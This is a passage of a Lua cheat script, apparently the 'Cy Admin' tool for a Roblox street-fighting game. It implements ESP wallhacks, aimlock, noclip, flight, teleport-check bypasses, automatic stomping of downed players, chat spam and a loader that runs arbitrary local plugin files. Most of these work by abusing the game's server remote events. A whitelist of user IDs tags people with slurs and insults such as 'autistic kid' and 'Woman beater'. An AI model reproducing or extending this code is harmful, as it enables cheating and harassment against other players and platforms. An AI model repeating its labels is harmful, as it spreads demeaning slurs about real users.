1580 local Server = HttpService:JSONDecode(game:HttpGet("https://www.roblox.com/games/getgameinstancesjson?placeId="..game.PlaceId.."&startindex="..i)) -- OMG IP LOGGER IT DOES AN HTTP REQUEST - half of people on the streets lol
1581 for i = 1,#Server.Collection do
1582 Table[Server.Collection[i].Ping] = Server.Collection[i].Guid
1583 end
1584 end
1585 for i,v in pairs(Table) do
1586 if v ~= game.JobId then
1587 TeleportService:TeleportToPlaceInstance(game.PlaceId,v)
1588 break
1589 end
1590 end
1591end,"serverhop",{},"Server hopping capabilities")
1592
1593
1594local function Temp()
1595local Table = {}
1596 for i,v in pairs(CmdFrame:GetChildren()) do
1597 table.insert(Table,v.Text)
1598 end
1599 return Table
1600end
1601
1602local WhitelistedOs = {
1603 ['durango'] = "Xbox";
1604 ['win32'] = "Windows";
1605 ['ios'] = "Apple";
1606 ['android'] = "Superior Android";
1607 ['osx'] = "Mac (GROSS)";
1608 ['windows_universal'] = "Windows 10 roblox"
1609}
1610UserInput.WindowFocusReleased:Connect(function()
1611 RobloxInForeground = false
1612 UserInput.WindowFocused:Wait()
1613 RobloxInForeground = true
1614end)
1615
1616local Debounce = false -- this code gets uglier every day holy fuck I'm gonna have to re-write it again soon lmao
1617local function Stepped()
1618 if GodMode or FeLoop then
1619 if LP.Character:FindFirstChild'Right Leg' then
1620 LP.Character['Right Leg']:Destroy()
1621 end
1622 end
1623local PartFound = LP.Character:FindFirstChild'HumanoidRootPart' or LP.Character:FindFirstChild'Torso'
1624 if Noclipping then
1625 local CDescendant = LP.Character:GetDescendants()
1626 for i = 1,#CDescendant do
1627 if CDescendant[i]:IsA'Part' then
1628 CDescendant[i].CanCollide = false
1629 end
1630 end
1631 end
1632 if flying and LP.Character:FindFirstChild'Humanoid' and not Debounce then
1633 Debounce = true
1634 LP.Character.Humanoid:ChangeState(3)
1635 wait(0.2)
1636 Debounce = false
1637 end
1638 if RainbowHats and LP.Backpack:FindFirstChild'Stank' then
1639 LP.Backpack.Stank:FireServer("rep",RainbowTable2[math.random(1,#RainbowTable2)])
1640 LP.Backpack.Stank:FireServer("color",RainbowTable1[math.random(1,#RainbowTable1)])
1641 end
1642 if TpBypass and LP.Character:FindFirstChild'RealHumanoidRootPart' then
1643 LP.Character:FindFirstChild'RealHumanoidRootPart':Destroy()
1644 end
1645 if ClockTime then
1646 Lighting.ClockTime = ClockTime
1647 end
1648 if FeLoop then
1649 local BChild = LP.Backpack:GetChildren()
1650 for i = 1,#BChild do
1651 BChild[i].Parent = LP.Character
1652 if game.PlaceId == 455366377 then
1653 repeat wait() until not LP.Character:FindFirstChildOfClass'Tool'
1654 end
1655 end
1656 if PartFound and LoopPlayer and LoopPlayer.Character and LoopPlayer.Character:FindFirstChild'Torso' then
1657 PartFound.CFrame = LoopPlayer.Character.Torso.CFrame
1658 end
1659 end
1660 if AutoStomp then
1661 local Players = Players:GetPlayers()
1662 for i = 1,#Players do
1663 if Players[i] ~= LP and Players[i].Character and Players[i].Character:FindFirstChild'Head' and Players[i].Character:FindFirstChild'Torso' and not Players[i]:IsFriendsWith(LP.UserId) then
1664 if (PartFound.Position - Players[i].Character.Torso.Position).magnitude < 50 and Players[i].Character:FindFirstChild'KO' and Players[i].Character.Humanoid.Health > 0 and not LP.Character:FindFirstChild'KO' and LP.Character.Humanoid.Health > 0 and not Players[i]:FindFirstChild'Dragged' and not table.find(DontStompWhitelisted,Players[i].UserId) then
1665 PartFound.CFrame = CFrame.new(Players[i].Character.Torso.Position)
1666 LP.Backpack.ServerTraits.Finish:FireServer(LP.Backpack:FindFirstChild'Punch' or LP.Character:FindFirstChild'Punch')
1667 end
1668 end
1669 end
1670 end
1671 if AirWalkOn and LP.Character:FindFirstChild'Humanoid' and PartFound then
1672 LP.Character.Humanoid.HipHeight = 0
1673 AirWalk.CFrame = PartFound.CFrame * CFrame.new(0,-3.5,0)
1674 end
1675 if CamLocking and CamlockPlayer and CamlockPlayer.Character and CamlockPlayer.Character:FindFirstChild'Torso' then
1676 workspace.CurrentCamera.CoordinateFrame = CFrame.new(workspace.CurrentCamera.CoordinateFrame.p,CamlockPlayer.Character.Head.CFrame.p)
1677 end
1678 for i = 1,#PlayerTable do
1679 local Player,TopLeft,TopRight,BottomLeft,BottomRight = PlayerTable[i][1],PlayerTable[i][2],PlayerTable[i][3],PlayerTable[i][4],PlayerTable[i][5]
1680 local Text,Tracer,IsUser = PlayerTable[i][6],PlayerTable[i][7],PlayerTable[i][8]
1681 if Player and Player.Character and Player.Character:FindFirstChild'Head' and LP.Character and LP.Character:FindFirstChild'Head' then
1682 local Part = Player.Character:FindFirstChild'HumanoidRootPart' or Player.Character:FindFirstChild'Torso'
1683 if Part then
1684 local Cframe = Part.CFrame
1685 local h = Player.Character.Head.Size.Y / 2
1686 local Size = Vector3.new(2,3,0) * (h * 2)
1687 local RelativeHeadPos,TextOnScreen = workspace.CurrentCamera:WorldToViewportPoint(Player.Character.Head.Position)
1688 local TopLeftPos = workspace.CurrentCamera:WorldToViewportPoint((Cframe * CFrame.new(Size.X,Size.Y,0)).p)
1689 local TopRightPos = workspace.CurrentCamera:WorldToViewportPoint((Cframe * CFrame.new(-Size.X,Size.Y,0)).p)
1690 local BottomLeftPos = workspace.CurrentCamera:WorldToViewportPoint((Cframe * CFrame.new(Size.X,-Size.Y,0)).p)
1691 local BottomRightPos = workspace.CurrentCamera:WorldToViewportPoint((Cframe * CFrame.new(-Size.X,-Size.Y,0)).p)
1692 if RobloxInForeground then
1693 TopLeft.Visible = TextOnScreen
1694 TopRight.Visible = TextOnScreen
1695 BottomLeft.Visible = TextOnScreen
1696 BottomRight.Visible = TextOnScreen
1697 if DrawTable['Visible'] then
1698 Tracer.Visible = TextOnScreen
1699 else
1700 Tracer.Visible = false
1701 end
1702 Text.Visible = TextOnScreen
1703 else
1704 TopLeft.Visible = false
1705 TopRight.Visible = false
1706 BottomLeft.Visible = false
1707 BottomRight.Visible = false
1708 Tracer.Visible = false
1709 Text.Visible = false
1710 end
1711 if TextOnScreen and RobloxInForeground then
1712 Text.Position = Vector2.new(RelativeHeadPos.X,RelativeHeadPos.Y) + Vector2.new(0,-30)
1713 Text.Center = true
1714 Text.Color = EspColour
1715 Text.Text = Player.Name.." | Health: "..checkHp(Player.Character).." | Cy Admin User: "..IsUser.."\nHas: Glock "..hasItem(Player,"Glock").." | Shotty "..hasItem(Player,"Shotty").." | Vest "..hasItem(Player,"BulletResist")
1716 TopLeft.From = Vector2.new(TopLeftPos.X,TopLeftPos.Y)
1717 TopLeft.To = Vector2.new(TopRightPos.X,TopRightPos.Y)
1718 TopRight.From = Vector2.new(TopRightPos.X,TopRightPos.Y)
1719 TopRight.To = Vector2.new(BottomRightPos.X,BottomRightPos.Y)
1720 BottomLeft.From = Vector2.new(BottomLeftPos.X,BottomLeftPos.Y)
1721 BottomLeft.To = Vector2.new(TopLeftPos.X,TopLeftPos.Y)
1722 BottomRight.From = Vector2.new(BottomRightPos.X,BottomRightPos.Y)
1723 BottomRight.To = Vector2.new(RelativeHeadPos.X,RelativeHeadPos.Y)
1724 if tostring(Player) == tostring(AimlockTarget) or tostring(Player) == tostring(CamlockPlayer) then
1725 Tracer.Color = Color3.fromRGB(144,0,0)
1726 else
1727 Tracer.Color = DrawTable['LineColour']
1728 end
1729 Tracer.Thickness = DrawTable['Thickness']
1730 Tracer.Transparency = DrawTable['Transparency']
1731 Tracer.From = Vector2.new(workspace.CurrentCamera.ViewportSize.X / 2,workspace.CurrentCamera.ViewportSize.X / 2 + 400)
1732 Tracer.To = Vector2.new(RelativeHeadPos.X,RelativeHeadPos.Y)
1733 end
1734 end
1735 end
1736 end
1737end
1738
1739local function CChildAdded(Thing)
1740 if Thing.Name == "KO" and AutoDie then
1741 GetChar():BreakJoints()
1742 end
1743end
1744
1745Cframe.BackgroundColor3 = Color3.new(0.666667,0,0)
1746Cframe.BackgroundTransparency = 0.20000000298023
1747Cframe.BorderSizePixel = 0
1748Cframe.Position = UDim2.new(0, 0, 1, 0)
1749Cframe.Size = UDim2.new(0, 270, 0, 35)
1750
1751CText.BackgroundColor3 = Color3.new(0,0.000738177,0.000738177)
1752CText.BorderSizePixel = 0
1753CText.Position = UDim2.new(0, 5, 0, 5)
1754CText.Size = UDim2.new(0, 260, 0, 25)
1755CText.Font = Enum.Font.SourceSansLight
1756CText.Text = ""
1757CText.TextColor3 = Color3.new(1, 1, 1)
1758CText.TextScaled = true
1759CText.TextSize = 14
1760CText.TextWrapped = true
1761
1762CmdFrame.BackgroundColor3 = Color3.new(0, 0.000738177, 0.000738177)
1763CmdFrame.BorderSizePixel = 0
1764CmdFrame.Position = UDim2.new(0, 0, -4, 0)
1765CmdFrame.Size = UDim2.new(1, 0, 4, 0)
1766CmdFrame.Visible = false
1767
1768local function Create(Text)
1769if not Text then return end
1770 local CmdList = Instance.new("TextLabel",CmdFrame)
1771 CmdList.BackgroundColor3 = Color3.new(0.666667, 0, 0)
1772 CmdList.BackgroundTransparency = 0.20000000298023
1773 CmdList.BorderSizePixel = 0
1774 CmdList.Position = UDim2.new(-10, 0, 0, 0)
1775 CmdList.Size = UDim2.new(1, 0, 0, 20)
1776 CmdList.Font = Enum.Font.SourceSansLight
1777 CmdList.Text = Text
1778 CmdList.TextColor3 = Color3.new(0.952941, 0.952941, 0.952941)
1779 CmdList.TextScaled = true
1780 CmdList.TextWrapped = true
1781end
1782
1783local function Changed()
1784pcall(function()
1785 if CText.Text ~= "" then
1786 CmdFrame.Visible = true
1787 local PositionMatch = 0
1788 for _,cmd in pairs(CmdFrame:GetChildren()) do
1789 if string.find(string.lower(cmd.Text),string.lower(CText.Text)) then
1790 cmd.Position = UDim2.new(0, 0, 0, 2 + (PositionMatch * 20))
1791 PositionMatch = PositionMatch + 1
1792 if cmd.Position == UDim2.new(0, 0, 0, 142) then
1793 cmd.Position = UDim2.new(-10, 0, 0, 0)
1794 PositionMatch = PositionMatch - 1
1795 end
1796 else
1797 cmd.Position = UDim2.new(-10, 0, 0, 0)
1798 end
1799 end
1800 else
1801 CmdFrame.Visible = false
1802 end
1803 end)
1804end
1805
1806MainFrame.BackgroundColor3 = Color3.fromRGB(0,0,0)
1807MainFrame.BackgroundTransparency = 0.250
1808MainFrame.BorderColor3 = Color3.fromRGB(53,2,2)
1809MainFrame.BorderSizePixel = 8
1810MainFrame.Position = UDim2.new(0,695,0,297)
1811MainFrame.Size = UDim2.new(0,495,0,431)
1812MainFrame.AnchorPoint = Vector2.new(0,0)
1813MainFrame.Visible = false
1814MainFrame.Active = true
1815MainFrame.Draggable = true
1816
1817ScrollingFrame.BackgroundColor3 = Color3.fromRGB(53,2,2)
1818ScrollingFrame.BackgroundTransparency = 0.400
1819ScrollingFrame.BorderColor3 = Color3.fromRGB(0,0,0)
1820ScrollingFrame.BorderSizePixel = 5
1821ScrollingFrame.Position = UDim2.new(0.0880542845,0,0.126374945,0)
1822ScrollingFrame.Size = UDim2.new(0,411,0,348)
1823
1824SearchBar.BackgroundColor3 = Color3.fromRGB(53,2,2)
1825SearchBar.BackgroundTransparency = 0.400
1826SearchBar.BorderColor3 = Color3.fromRGB(0,0,0)
1827SearchBar.BorderSizePixel = 5
1828SearchBar.Position = UDim2.new(0.0880542994,0,0.0598471165,0)
1829SearchBar.Size = UDim2.new(0,411,0,28)
1830SearchBar.Font = Enum.Font.SourceSansBold
1831SearchBar.PlaceholderColor3 = Color3.fromRGB(255,255,255)
1832SearchBar.Text = "Search"
1833SearchBar.TextColor3 = Color3.fromRGB(135, 135, 135)
1834SearchBar.TextSize = 24.000
1835
1836Credits.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
1837Credits.BackgroundTransparency = 0.250
1838Credits.BorderColor3 = Color3.fromRGB(53, 2, 2)
1839Credits.BorderSizePixel = 5
1840Credits.Position = UDim2.new(-0.00101006031,0,0.948468387,0)
1841Credits.Size = UDim2.new(0,187,0,22)
1842Credits.Font = Enum.Font.SourceSansBold
1843Credits.Text = "UI Design by !fishgang Karma#9669"
1844Credits.TextColor3 = Color3.fromRGB(255,255,255)
1845Credits.TextSize = 14.000
1846
1847DmgIndicator.BackgroundColor3 = Color3.fromRGB(0,0,0)
1848DmgIndicator.BackgroundTransparency = 0.700
1849DmgIndicator.BorderSizePixel = 3
1850DmgIndicator.Position = UDim2.new(0,0,1.00488257,0)
1851DmgIndicator.Size = UDim2.new(0,385,0,50)
1852DmgIndicator.Font = Enum.Font.SourceSans
1853DmgIndicator.Text = ''
1854DmgIndicator.TextColor3 = Color3.fromRGB(184,0,3)
1855DmgIndicator.TextScaled = true
1856DmgIndicator.TextSize = 30.000
1857DmgIndicator.TextWrapped = true
1858DmgIndicator.Visible = false
1859
1860local function CreateCommand(Pos,Text)
1861 local ActualCommands = Instance.new('TextLabel',ScrollingFrame)
1862 ActualCommands.BackgroundColor3 = Color3.fromRGB(26, 26, 26)
1863 ActualCommands.BackgroundTransparency = 0.200
1864 ActualCommands.BorderColor3 = Color3.fromRGB(53, 2, 2)
1865 ActualCommands.Position = Pos
1866 ActualCommands.Size = UDim2.new(0, 382, 0, 20)
1867 ActualCommands.Font = Enum.Font.SourceSansBold
1868 ActualCommands.Text = Text
1869 ActualCommands.TextColor3 = Color3.fromRGB(255, 255, 255)
1870 ActualCommands.TextSize = 14.000
1871 ActualCommands.TextScaled = true
1872 ActualCommands.TextWrapped = true
1873end
1874
1875SearchBar.Changed:Connect(function()
1876local Index = 0
1877 if SearchBar.Text then
1878 for _,v in pairs(ScrollingFrame:GetChildren()) do
1879 if not string.find(v.Text:lower(),SearchBar.Text:lower()) then
1880 v.Visible = false
1881 else
1882 v.Visible = true
1883 Index = Index + 1
1884 v.Position = UDim2.new(0.0150422715,0,0.0127776451,0 + (Index * 20))
1885 end
1886 end
1887 end
1888end)
1889
1890local CoolkidTable = {
1891 ['300227703'] = {
1892 ['Name'] = "!fishgang Envy";
1893 ['Colour'] = Color3.fromRGB(125,0,0);
1894 ['Access'] = true;
1895 };
1896 ['590620847'] = {
1897 ['Name'] = "!fishgang Envy";
1898 ['Colour'] = Color3.fromRGB(125,0,0);
1899 ['Access'] = true;
1900 };
1901 ['714877'] = {
1902 ['Name'] = "!fishgang Ambiguity";
1903 ['Colour'] = Color3.fromRGB(57,52,52);
1904 ['Access'] = true;
1905 };
1906 ['96316322'] = {
1907 ['Name'] = "!fishgang Ambiguity";
1908 ['Colour'] = Color3.fromRGB(57,52,52);
1909 ['Access'] = true;
1910 };
1911 ['114164798'] = {
1912 ['Name'] = "!fishgang Slays | [RPF] Retard Prevention Force";
1913 ['Colour'] = Color3.fromRGB(0,255,255);
1914 ['Access'] = true;
1915 };
1916 ['359564044'] = {
1917 ['Name'] = "!fishgang 7w4c";
1918 ['Colour'] = Color3.fromRGB(255,255,255);
1919 ['Access'] = true;
1920 };
1921 ['659119329'] = {
1922 ['Name'] = "!fishgang Co-owner Cy | Creator of Cyrus' Streets Admin";
1923 ['Colour'] = Color3.fromRGB(125,0,0);
1924 ['Access'] = true;
1925 };
1926 ['12978668'] = {
1927 ['Name'] = "!fishgang Co-owner Cy Alt | Creator of Cyrus' Streets Admin";
1928 ['Colour'] = Color3.fromRGB(125,0,0);
1929 ['Access'] = true;
1930 };
1931 ['659119329'] = {
1932 ['Name'] = "!fishgang Co-owner Cy Alt | Creator of Cyrus' Streets Admin";
1933 ['Colour'] = Color3.fromRGB(125,0,0);
1934 ['Access'] = true;
1935 };
1936 ['62009114'] = {
1937 ['Name'] = "!fishgang Owner X_D6";
1938 ['Colour'] = Color3.fromRGB(176,16,16);
1939 ['Access'] = true;
1940 };
1941 ['57370993'] = {
1942 ['Name'] = "!fishgang Karma";
1943 ['Colour'] = Color3.fromRGB(255,0,0);
1944 ['Access'] = true;
1945 };
1946 ['20220183'] = {
1947 ['Name'] = "!fishgang Wya";
1948 ['Colour'] = Color3.fromRGB(215,19,19);
1949 ['Access'] = true;
1950 };
1951 ['1477162063'] = {
1952 ['Name'] = "!fishgang Wya (YFRWK)";
1953 ['Colour'] = Color3.fromRGB(192,6,6);
1954 ['Access'] = true;
1955 };
1956 ['105183043'] = {
1957 ['Name'] = "Drpoppadopolist | Drpoppa Creator";
1958 ['Colour'] = Color3.fromRGB(107,50,124);
1959 ['Access'] = true;
1960 };
1961 ['1190936'] = {
1962 ['Name'] = "trippinfo";
1963 ['Colour'] = Color3.fromRGB(12,4,134);
1964 ['Access'] = true;
1965 };
1966 ['378666469'] = {
1967 ['Name'] = "trippinfo";
1968 ['Colour'] = Color3.fromRGB(12,4,134);
1969 ['Access'] = true;
1970 };
1971 ['1443431439'] = {
1972 ['Name'] = "wk1r";
1973 ['Colour'] = Color3.fromRGB(194,23,255);
1974 ['Access'] = true;
1975 };
1976 ['164282612'] = {
1977 ['Name'] = "wk1r";
1978 ['Colour'] = Color3.fromRGB(194,23,255);
1979 ['Access'] = true;
1980 };
1981 ['1299915133'] = {
1982 ['Name'] = "wk1r";
1983 ['Colour'] = Color3.fromRGB(194,23,255);
1984 ['Access'] = true;
1985 };
1986 ['548617338'] = {
1987 ['Name'] = "Cool Person";
1988 ['Colour'] = Color3.fromRGB(36,89,237);
1989 ['Access'] = false;
1990 };
1991 ['1275692258'] = {
1992 ['Name'] = "Big Dick (Vegan/Syntrix Creator who also paid me to put this)";
1993 ['Colour'] = Color3.fromRGB(125,0,0);
1994 ['Access'] = true;
1995 };
1996 ['612618136'] = {
1997 ['Name'] = "Bird (Donator)";
1998 ['Colour'] = Color3.fromRGB(125,0,0);
1999 ['Access'] = false;
2000 };
2001 ['284761493'] = {
2002 ['Name'] = "[Strafe] XVE | voidbound.xyz";
2003 ['Colour'] = Color3.fromRGB(102,0,0);
2004 ['Access'] = true;
2005 };
2006 ['178560'] = {
2007 ['Name'] = "Literally a fucking egg.";
2008 ['Colour'] = Color3.fromRGB(255,248,11);
2009 ['Access'] = false;
2010 };
2011 ['120476167'] = {
2012 ['Name'] = "Pawels Owner";
2013 ['Colour'] = Color3.fromRGB(52,152,219);
2014 ['Access'] = true;
2015 };
2016 ['120476167'] = {
2017 ['Name'] = "Pawels Owner";
2018 ['Colour'] = Color3.fromRGB(52,152,219);
2019 ['Access'] = true;
2020 };
2021 ['418171482'] = {
2022 ['Name'] = "Woman beater";
2023 ['Colour'] = Color3.fromRGB(255,0,70);
2024 ['Access'] = false;
2025 };
2026 ['710288902'] = {
2027 ['Name'] = "autistic kid who bought the shirt twice and is active in the server";
2028 ['Colour'] = Color3.fromRGB(0,255,0);
2029 ['Access'] = false;
2030 }
2031}
2032
2033local Debounce = false
2034local function ColourChanger(T)
2035 if T:IsA'Trail' and not CoolkidTable[tostring(LP.UserId)] then
2036 T.Color = BulletColour
2037 end
2038 if T:IsA'ObjectValue' and T.Name == "creator" and not Debounce then
2039 local Thing = T.Value
2040 local Method,Tool = Char(Thing)
2041 b(Thing.Name.." has "..Method.." from "..math.floor((GetChar().Head.Position - Thing.Head.Position).magnitude).." studs with a "..Tool.Name)
2042 if Tool.Name == "Shotty" then
2043 Debounce = true
2044 wait(0.7)
2045 Debounce = false
2046 end
2047 end
2048end
2049
2050local function HealthChanged(Health)
2051 if Health <= HealBotHealth and HealBot and not TpBypass then
2052 if GrabThing("Burger",GetChar().Head.CFrame) then
2053 local Hamborger = LP.Backpack:FindFirstChild'Burger'
2054 if Hamborger then
2055 Hamborger.Parent = GetChar()
2056 Hamborger:Activate() -- CHEEMS
2057 repeat RunService.Heartbeat:Wait() until Hamborger.Parent ~= LP.Character
2058 end
2059 end -- yeah I copy pasted it from my heal cmd DEAL WITH IT
2060 if GrabThing("Drink",GetChar().Head.CFrame) then
2061 local Drink = LP.Backpack:FindFirstChild'Drink'
2062 if Drink then
2063 Drink.Parent = GetChar()
2064 Drink:Activate()
2065 end
2066 end
2067 end
2068end
2069
2070LP.CharacterAdded:Connect(function()
2071 GetChar():WaitForChild('Humanoid',10)
2072 ChildAddedEvent = GetChar().ChildAdded:Connect(CChildAdded)
2073 HumanoidStateChangedEvent = GetChar().Humanoid.StateChanged:Connect(HumanoidState)
2074 HumanoidCAdded = GetChar().Humanoid.DescendantAdded:Connect(ColourChanger)
2075 HumanoidHealthChanged = GetChar().Humanoid.HealthChanged:Connect(HealthChanged)
2076 GetChar().Humanoid.WalkSpeed = SpawnWS or NormalWS
2077 GetChar().Humanoid.JumpPower = SpawnJP or NormalJP
2078 GetChar().Humanoid.HipHeight = SpawnHH or NormalHH
2079 if FeLoop then
2080 local Humanoid = GetChar().Humanoid:Clone()
2081 GetChar().Humanoid:Destroy()
2082 Humanoid.Parent = GetChar()
2083 workspace.CurrentCamera.CameraSubject = GetChar()
2084 end
2085 if PlayOnDeath then
2086 wait()
2087 local Tool = LP.Backpack:WaitForChild('BoomBox')
2088 if Tool then
2089 Tool.Parent = GetChar()
2090 wait()
2091 Tool:FindFirstChildOfClass'RemoteEvent':FireServer("play",PlayOnDeath)
2092 Tool.Parent = LP.Backpack
2093 end
2094 end
2095end)
2096
2097LP.CharacterRemoving:Connect(function()
2098 ChildAddedEvent:Disconnect()
2099 HumanoidStateChangedEvent:Disconnect()
2100 HumanoidCAdded:Disconnect()
2101 HumanoidHealthChanged:Disconnect()
2102 HR = nil
2103 flying = false
2104end)
2105
2106UserInput.InputBegan:Connect(function(Key)
2107if UserInput:GetFocusedTextBox() then return end
2108local PartFound = GetChar():FindFirstChild'HumanoidRootPart' or GetChar():FindFirstChild'Torso'
2109 if Key.KeyCode == Enum.KeyCode.LeftControl then
2110 if AirWalkOn then
2111 AirWalk.Size = Vector3.new(0,-1,0)
2112 end
2113 if Normalwalk and ControlSpeed == 8 then return end
2114 GetChar().Humanoid.WalkSpeed = ControlSpeed
2115 end
2116 if Key.KeyCode == Enum.KeyCode.LeftShift then
2117 KeyTable['Shift'] = true
2118 if Normalwalk and ShiftSpeed == 25 then return end
2119 GetChar().Humanoid.WalkSpeed = ShiftSpeed
2120 end
2121 if Key.KeyCode == Enum.KeyCode.W then
2122 KeyTable['w'] = true
2123 end
2124 if Key.KeyCode == Enum.KeyCode.A then
2125 KeyTable['a'] = true
2126 end
2127 if Key.KeyCode == Enum.KeyCode.S then
2128 KeyTable['s'] = true
2129 end
2130 if Key.KeyCode == Enum.KeyCode.D then
2131 KeyTable['d'] = true
2132 end
2133 if Key.KeyCode == Enum.KeyCode.E and GetChar():FindFirstChildOfClass'Tool' and not GetChar():FindFirstChild'KO' then
2134 LP.Backpack.ServerTraits.Finish:FireServer(LP.Backpack.Punch)
2135 end
2136 if Key.KeyCode == Enum.KeyCode.Space and AirWalkOn then
2137 PartFound.CFrame = PartFound.CFrame + Vector3.new(0,5,0)
2138 end
2139 if Key.KeyCode == Enum.KeyCode.Quote then
2140 CText:CaptureFocus()
2141 Cframe:TweenPosition(UDim2.new(0.015,0,0.95,0),"Out","Elastic",0.5,true)
2142 wait()
2143 CText.Text = ""
2144 UserInput.TextBoxFocusReleased:Wait()
2145 local Command = CText.Text
2146 CText.Text = ""
2147 CheckCommand(Command)
2148 Cframe:TweenPosition(UDim2.new(0.015,0,1,0),"Out","Quad",0.5,true)
2149 end
2150 if ClickTpKey and ClickTpKey ~= "" and Key.KeyCode == Enum.KeyCode[ClickTpKey:upper()] and Mouse.Target then
2151 if (Mouse.Hit.Position - PartFound.Position).magnitude < 50 then
2152 PartFound.CFrame = CFrame.new(Mouse.Hit.p + Vector3.new(0,5,0))
2153 else
2154 Teleport(CFrame.new(Mouse.Hit.p + Vector3.new(0,5,0)))
2155 end
2156 end
2157 if Keys then
2158 for _,v in pairs(Keys) do
2159 if v and Enum.KeyCode[v:match'[%a%d]+$':upper()] == Key.KeyCode then
2160 CheckCommand(v:match'^[%w%s]+')
2161 end
2162 end
2163 end
2164end)
2165
2166UserInput.InputEnded:Connect(function(Key)
2167if UserInput:GetFocusedTextBox() then return end
2168 if Key.KeyCode == Enum.KeyCode.LeftControl then
2169 if AirWalkOn then
2170 AirWalk.Size = Vector3.new(5,1,5)
2171 end
2172 if Normalwalk and ControlSpeed == 8 then return end
2173 GetChar().Humanoid.WalkSpeed = WalkSpeed
2174 end
2175 if Key.KeyCode == Enum.KeyCode.W then
2176 KeyTable['w'] = false
2177 end
2178 if Key.KeyCode == Enum.KeyCode.A then
2179 KeyTable['a'] = false
2180 end
2181 if Key.KeyCode == Enum.KeyCode.S then
2182 KeyTable['s'] = false
2183 end
2184 if Key.KeyCode == Enum.KeyCode.D then
2185 KeyTable['d'] = false
2186 end
2187 if Key.KeyCode == Enum.KeyCode.LeftShift and ShiftSpeed then
2188 KeyTable['Shift'] = false
2189 if Normalwalk and ShiftSpeed == 25 then return end
2190 GetChar().Humanoid.WalkSpeed = WalkSpeed
2191 end
2192end)
2193
2194Players.PlayerRemoving:Connect(function(P)
2195 Unesp(P)
2196end)
2197
2198CText.FocusLost:Connect(function(Enter)
2199 Cframe:TweenPosition(UDim2.new(0.015, 0, 1, 0),"Out","Quad",0.5,true)
2200 if Enter then
2201 local Command = CText.Text
2202 CText.Text = ""
2203 CheckCommand(Command)
2204 end
2205end)
2206
2207AddCommand(function(Arguments)
2208 if Arguments[1] then
2209 local File = loadfile("CyAdminPlugins\\"..Arguments[1])
2210 if not File then
2211 ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Syntax Error (Can't output it since loadfile gay)","All")
2212 return
2213 else
2214 local W,E = pcall(File)
2215 if not W then
2216 ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("Runtime Error"..E,"All")
2217 return
2218 end
2219 end
2220 local T = Temp()
2221 for i = 1,#Commands do
2222 if not table.find(T,Commands[i].Name) then
2223 Create(Commands[i].Name)
2224 CreateCommand(UDim2.new(0.0150422715,0,0.0127776451,0 + (i * 20)),Commands[i].Name.." "..Commands[i].Help)
2225 end
2226 end
2227 end
2228end,"runplugin",{},"Loads plugins (no it doesn't refresh them so don't be retarded")
2229-- DON'T ASK ABOUT IT ANYONE WHO READS THIS CODE OK?
2230
2231ChildAddedEvent = GetChar().ChildAdded:Connect(CChildAdded)
2232HumanoidStateChangedEvent = GetChar().Humanoid.StateChanged:Connect(HumanoidState)
2233HumanoidCAdded = GetChar().Humanoid.DescendantAdded:Connect(ColourChanger)
2234HumanoidHealthChanged = GetChar().Humanoid.HealthChanged:Connect(HealthChanged)
2235Mouse.Button1Down:Connect(Button1Down)
2236Mouse.Button2Down:Connect(Button2Down)
2237LP.Chatted:Connect(CheckCommand)
2238UserInput.JumpRequest:Connect(DoubleJump)
2239CText:GetPropertyChangedSignal("Text"):Connect(Changed)
2240RunService.Stepped:Connect(Stepped)
2241
2242spawn(function()
2243 while true do
2244 local Char = GetChar()
2245 if Char then
2246 local PartFound = Char:FindFirstChild'HumanoidRootPart' or Char:FindFirstChild'Torso'
2247 if Char:FindFirstChildOfClass'Humanoid' and UseDraw then
2248 local Tool = Char:FindFirstChildOfClass'Tool'
2249 if Tool and Tool:FindFirstChild'Ammo' then
2250 DrawingT.Text = "Current WalkSpeed: "..Char.Humanoid.WalkSpeed.."\nSprinting Speed: "..ShiftSpeed.."\nCrouching Speed: "..ControlSpeed.."\nJumpPower: "..Char.Humanoid.JumpPower.."\nFlying: "..tostring(flying).."\nNoclipping: "..tostring(Noclipping).."\nAimlock Target: "..tostring(AimlockTarget).."\n"..Tool.Name.." Clips & Ammo: "..Tool.Clips.Value..":"..Tool.Ammo.Value
2251 else
2252 DrawingT.Text = "Current WalkSpeed: "..Char.Humanoid.WalkSpeed.."\nSprinting Speed: "..ShiftSpeed.."\nCrouching Speed: "..ControlSpeed.."\nJumpPower: "..Char.Humanoid.JumpPower.."\nFlying: "..tostring(flying).."\nNoclipping: "..tostring(Noclipping).."\nAimlock Target: "..tostring(AimlockTarget)
2253 end
2254 end
2255 if PartFound and Blinking then
2256 if BlinkMode == "None" or BlinkMode == "Shift" and KeyTable['Shift'] then
2257 if KeyTable['w'] then
2258 PartFound.CFrame = PartFound.CFrame * CFrame.new(0,0,-BlinkSpeed)
2259 end
2260 if KeyTable['a'] then
2261 PartFound.CFrame = PartFound.CFrame * CFrame.new(-BlinkSpeed,0,0)
2262 end
2263 if KeyTable['s'] then
2264 PartFound.CFrame = PartFound.CFrame * CFrame.new(0,0,BlinkSpeed)
2265 end
2266 if KeyTable['d'] then
2267 PartFound.CFrame = PartFound.CFrame * CFrame.new(BlinkSpeed,0,0)
2268 end
2269 end
2270 end
2271 wait()
2272 end
2273 end
2274end)
2275
2276if PartTable then
2277 spawn(function()
2278 while wait() do
2279 if LP.Character:FindFirstChildOfClass'Humanoid' and LP.Character.Humanoid.HipHeight > 0 or AirWalkOn and LP.Character.Humanoid.FloorMaterial == Enum.Material.Neon and not LP.Character.Humanoid.Sit then
2280 local JP = LP.Character.Humanoid.JumpPower
2281 LP.Character.Humanoid.JumpPower = 1.5
2282 LP.Character.Humanoid:ChangeState(3)
2283 wait(0.2)
2284 LP.Character.Humanoid.JumpPower = JP
2285 end
2286 end
2287 end)
2288end
2289
2290spawn(function()
2291 while wait(SpamDelay) do
2292 if Spamming and SpamMessage then
2293 ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer(SpamMessage,"All")
2294 end
2295 end
2296end)
2297
2298spawn(function()
2299 while wait(10) do
2300 if AntiAfk then
2301 keypress(0x20)
2302 end
2303 end
2304end)
2305
2306local function espcool(Plr)
2307 local Esp1 = Instance.new('BillboardGui',Plr.Character.Head)
2308 Esp1.Adornee = Plr.Character.Head
2309 Esp1.Size = UDim2.new(0,100,0,100)
2310 Esp1.StudsOffset = Vector3.new(0,1,0)
2311 Esp1.AlwaysOnTop = true
2312 local Esp2 = Instance.new('TextLabel',Esp1)
